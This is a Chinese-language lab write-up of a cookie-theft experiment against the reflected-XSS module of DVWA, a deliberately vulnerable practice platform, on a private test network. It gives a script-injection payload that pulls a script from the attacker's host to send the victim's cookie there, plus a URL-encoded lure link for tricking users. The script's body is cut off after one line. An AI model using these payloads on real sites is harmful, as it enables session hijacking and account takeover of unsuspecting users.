众所周知,利用XSS攻击,可以在用户登陆存在漏洞的站点之后,获取用户的Cookie值。有了Cookie,我们便可以在不知道用户名密码的情况下,模拟用户登陆站点。
本文记录一次在DVWA漏洞平台的XSS(Reflected)模块下,利用XSS获取该平台登陆Cookie的实验。
0x00 实验准备
-
实验环境:
DVWA:Windows 7,存在XSS漏洞的网站;|IP: 192.168.124.6
|
主机A:Cent OS,攻击者;|IP:192.168.124.7
|
主机B:Windows 7,被攻击者;|IP: 192.168.124.2
| -
配置DVWA:
- 在Windows7下搭建DVWA。从GitHub下载DVWA源代码,下载phpStudy模拟web运行环境。将DVWA源代码放到phpStudy路径下的www目录下,注意将DVWA源代码文件夹名改为DVWA。
- 打开DVWA的配置文件|
config.inc.php.bak
|,将数据库密码改为|$_DVWA[ 'db_password' ] = 'root';
|;保存后将配置文件名改为|config.inc.php
| - 开启phpStudy,在地址栏输入|
http://192.168.124.6/DVWA
|,会自动弹出登陆界面。 |Username / Password:admin / password
| - 将安全等级DVWA Security改为low
2 构建Payload
- 在攻击者主机A下开启httpd服务;新建eval.js脚本,用于向主机A发送Cookie。该脚本创建了一个img元素,img.src获取到被攻击者的Cookie后以GET的方式发送给主机A:
var img = document.createElement("img"); |
0x02 执行攻击
-
在被攻击者主机B上打开DVWA的XSS(Reflected)模块:
-
在What’s your name输入框中输入|
<script src=http://192.168.124.7/eval.js></script>
|并提交。此时主机A的恶意脚本被执行,主机B的Cookie被以GET方式发送给主机A。在主机A上用|tail /var/log/httpd/access_log
|查看web日志,发现已经获取到Cookie:
0x03 总结
在真实攻击过程中,攻击者可以构造恶意url|http://192.168.124.6/DVWA/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2F192.168.124.7%3A6789%2FDesktop%2Feval.js%3E%3C%2Fscript%3E#
|,诱使用户点击该链接,那么用户的Cookie就会发送到攻击者的主机上,攻击者利用该Cookie就能够登陆受害者的账户了。